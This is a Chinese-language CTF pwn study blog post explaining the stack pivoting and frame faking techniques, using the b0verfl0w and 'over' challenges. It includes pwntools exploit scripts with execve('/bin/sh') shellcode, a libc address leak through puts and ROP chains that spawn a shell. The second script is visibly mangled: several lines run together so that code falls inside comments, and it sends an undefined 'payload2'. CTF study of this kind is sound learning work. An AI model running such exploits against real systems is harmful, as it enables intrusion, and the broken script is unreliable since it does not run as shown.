学习文献:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic_rop/

https://www.jianshu.com/p/c53627895330

1.stack pivoting 转移堆

以 X-CTF Quals 2016 - b0verfl0w 为例学习

#若可溢出的栈空间过小,但NX未开启,可以将eip指向重新指回栈顶,然后重新执行shellcode

32位程序,没什么防护,拖进IDA,靠字符串定位

可以溢出的空间为50-0x20=18个字节,空间不够布置shellcode,但因为NX保护没开启,直接在栈上布置shellcode

我们可以将eip设置为跳回栈顶,然后开辟相应的esp空间用来执行shellcode

先找到跳回栈顶的语句

exp

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"
sub_esp_jmp = asm('sub esp, 0x28;jmp esp')
jmp_esp= 0x08048504
payload=shellcode+(0x20-len(shellcode))*'a'+'bbbb'+p32(jmp_esp) + sub_esp_jmp
cn.sendline(payload)
cn.interactive()

2.frame faking

正如这个技巧名字所说的那样,这个技巧就是构造一个虚假的栈帧来控制程序的执行流

原理:

概括地讲,我们在之前讲的栈溢出不外乎两种方式

  • 控制程序 EIP
  • 控制程序 EBP

其最终都是控制程序的执行流。在 frame faking 中,我们所利用的技巧便是同时控制 EBP 与 EIP,这样我们在控制程序执行流的同时,也改变程序栈帧的位置。

其实看完wiki里的这段话我有点似懂非懂的感觉

在创建栈帧是我们肯定要push一个ebp用来之后ret之前恢复环境,那么我们如果把我们想pop的ebp2覆盖了原先栈中保存的ebp,等pop ebp的时候,其实就变为了pop ebp2,以后执行别的函数的时候压入的ebp也变为了我们想要的ebp2了,再修改eip,执行到ebp2处,就控制了流程

那么显然在 fake frame 中,我们有一个需求就是,我们必须得有一块可以写的内存,并且我们还知道这块内存的地址,这一点与 stack pivoting 相似

例子:2018 年 6 月安恒杯月赛的 over

一个64位文件,没有栈保护,开启了NX,64位文件的传参顺序要注意

拖入IDA看一下主要函数

read函数可以进行溢出,同时溢出的部分会被puts函数输出,可以用来查看我们需要的地址

那么我们需要的stack地址怎么求呢,每次stack地址都是会变动的,但是偏移量是一样的

我们通过设置断点可以看到原先read函数保存的ebp地址=0x7fffffffdcb0

偏移量即是改成我们需要的栈顶就好,这里是rbp-0x70

这里这个偏移量怎么看呢,对0x400676设置断点

我们可以看到刚开始的rbp,rsp相差只有0x1c,但是之后push rbp/sub rsp,50导致保存的rbp距离栈顶相差就变为0x70了

exp

#主要部分from pwn import *cn = process("./over.over")
bin = ELF("./over.over")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')def DEBUG(a=''):gdb.attach(cn,a)if a == '':raw_input()cn.recvuntil('>')
payload='a'*0x50
cn.send(payload)
stack = u64(cn.recvuntil("\x7f")[-6: ].ljust(8, '\0')) - 0x70
success("stack -> {:#x}".format(stack))#DEBUG("b *0x4006B9\nc")
rdi_ret=0x0000000000400793
main_addr=0x400676
cn.recvuntil('>')
payload='11111111'+p64(rdi_ret)+p64(bin.got['puts'])+p64(bin.symbols['puts'])+p64(main_addr)+(80-40)*'a'+p64(stack)+p64(0x4006be)
cn.sendline(payload)
puts_addr=u64(cn.recvuntil("\x7f")[-6: ].ljust(8, '\0'))        #leak putsbase_addr=puts_addr-libc.symbols['puts']
execve_addr=base_addr+libc.symbols['execve']
binsh_addr=base_addr+libc.search('/bin/sh').next()
pop_rdx_pop_rsi_ret=base_addr+0x00000000001150c9fake_eip=bin.symbols['puts']
payload_execv='22222222'+p64(rdi_ret)+p64(binsh_addr)+p64(pop_rdx_pop_rsi_ret)+p64(0)+p64(0)+p64(execve_addr)+(80-56)*'a'+p64(stack-48)+p64(0x4006be)
cn.recvuntil('>')
cn.send(payload2+payload_execv)
cn.interactive()

stack = u64(cn.recvuntil("\x7f")[-6: ].ljust(8, '\0')) - 0x70

为什么在读到 \x7f 之后截止,再获取前面的6字节呢?

原因是虽然在64位计算机中,一个地址的长度是8字节,但是实际上的计算机内存只有16G内存以下,所以一般的地址空间只是用了不到 2^48 的地址空间。因此

实际的操作系统中,一个地址的最高位的两个字节是00,而且实际栈地址一般是0x7fxxxx开头的,因此为了避免获取错误的地址值,只需要获取前面的6字节值,

然后通过ljust函数把最高位的两字节填充成00。 我们还可以用这种一般的写法:u64(p.recv(6).ljust(8, "\x00"))

同时,format函数可以快速除了各种字符串,通过{}和:来代替%

有人问为什么leak之前要加‘11111111’,而不是直接leak puts呢,因为我们执行完leave,retn之后,会pop ebp之后才能pop eip,所以要空8个字节出来,我自己纠结了好久

花式栈溢出技巧----stack pivoting/frame faking相关推荐

  1. 花式栈溢出技巧----Stack smash

    学习文献:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/others/#stack-smash 以前遇见过一次这种情况,但是是 ...

  2. 花式栈溢出值stack smash

    花式栈溢出值stack smash 原理: 在程序加了 canary 保护之后,如果我们读取的 buffer 覆盖了对应的值时,程序就会报错,而一般来说我们并不会关心报错信息.而 stack smas ...

  3. 花式栈溢出技巧之frame faking

    frame faking 构造一个虚假的栈帧来控制程序的执行流 原理 之前所讲的栈溢出不外乎两种方式: 控制程序EIP 控制程序EBP 其最终都是控制程序的执行流.在frame faking中,我们所 ...

  4. 花式栈溢出技巧之stack pivoting

    原理 正如它描述的,该技巧就是劫持栈指针指向攻击者所能控制的内存处,然后在相应位置进行ROP.一般来说,我们可能在下述情况使用劫持栈指针. 可以控制栈溢出的字节数较少,难以构造较长的ROP链. 开启了 ...

  5. 花式栈溢出技巧----partial overwrite

    学习资料:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/others/#partial-overwrite https://b ...

  6. 构造虚假栈帧 | 花式栈溢出

    花式栈溢出技巧----stack pivoting/frame faking: https://blog.csdn.net/qq_42192672/article/details/83039125 C ...

  7. Advanced Exploit Techique之--frame faking技术http://ntbgyz.com/articles/200602/851.html

    Advanced Exploit Techique之--frame faking技术http://ntbgyz.com/articles/200602/851.html                 ...

  8. AndroidStudio出现 Unknown verification type [95] in stack map frame 问题的解决办法

    AndroidStudio出现 Unknown verification type [95] in stack map frame 问题的解决办法 参考文章: (1)AndroidStudio出现 U ...

  9. 栈溢出之stack privot姿势学习

    该技巧就是劫持栈指针到自己可以控制的内存,然后进行ROP,一般来说一下几种情形可以使用 栈溢出字节数较少,无法构造足够长的ROP链 程序开启了PIE保护,栈地址未知 将栈劫持到堆,利用堆漏洞 例 bo ...

最新文章

  1. 大二菜鸟———无重复字符的最长子串
  2. mysql装一次后再装_MySQL再安装
  3. 为什么我们喜欢用 sigmoid 这类 S 型非线性变换?
  4. C#创建Access
  5. PHP垃圾回收机制理解
  6. 微商如何打印电子面单
  7. android车载娱乐系统场景,智能汽车、家庭娱乐系统、工业自动化场景中接口应用设计...
  8. [Vue-cli3] is a Vue CLI 3 only command and you are using Vue CLI 2.9.6. You may...
  9. Source Insight 4.0 常用设置
  10. 斯坦福CS230官方指南:CNN、RNN及使用技巧速查(打印收藏)
  11. linux 初始化全部操作
  12. Ubuntu16.04下Hadoop+Hive+HBase安装部署实践
  13. ASP.NET项目开发经典视频教程与源码、模块合集
  14. java实现word转pdf文件下载
  15. hough变换理解 原理 步骤
  16. 带农历日期的html代码,很全的显示阴历(农历)日期的js代码
  17. python做项目看板_基于pyecharts搭建BI看板
  18. c语言字符结构数组初始化,C语言结构体数组初始化问题
  19. 《老路用得上的商学课》21-30学习笔记
  20. RPA机器人流程自动化的灯塔效应

热门文章

  1. 计算机右侧不显示桌面,电脑桌面的右下角不显示移动设备的图标怎么办?
  2. VC2017编译OpenCV3.41+contrib
  3. traceback.print_exc()跟traceback.format_exc()有什么区别
  4. 苹果待处理订单要多久_用苹果 iPhone 时操作失误被扣费,该如何申请退款?
  5. Latex如何写出一个增广矩阵中的长坚虚线
  6. 计算机特岗教师转正申请书,特岗教师转正申请书怎么写才规范
  7. ruby中gruff画图的简单例子
  8. 计算机游戏教学法.ppt,计算机游戏教学法第十一章.ppt
  9. 全球及中国STEAM素质教育行业发展价值与运营能力状况分析报告2022版
  10. python处理大数据量json数据的方法_python-利用json模块处理json数据几个函数总结...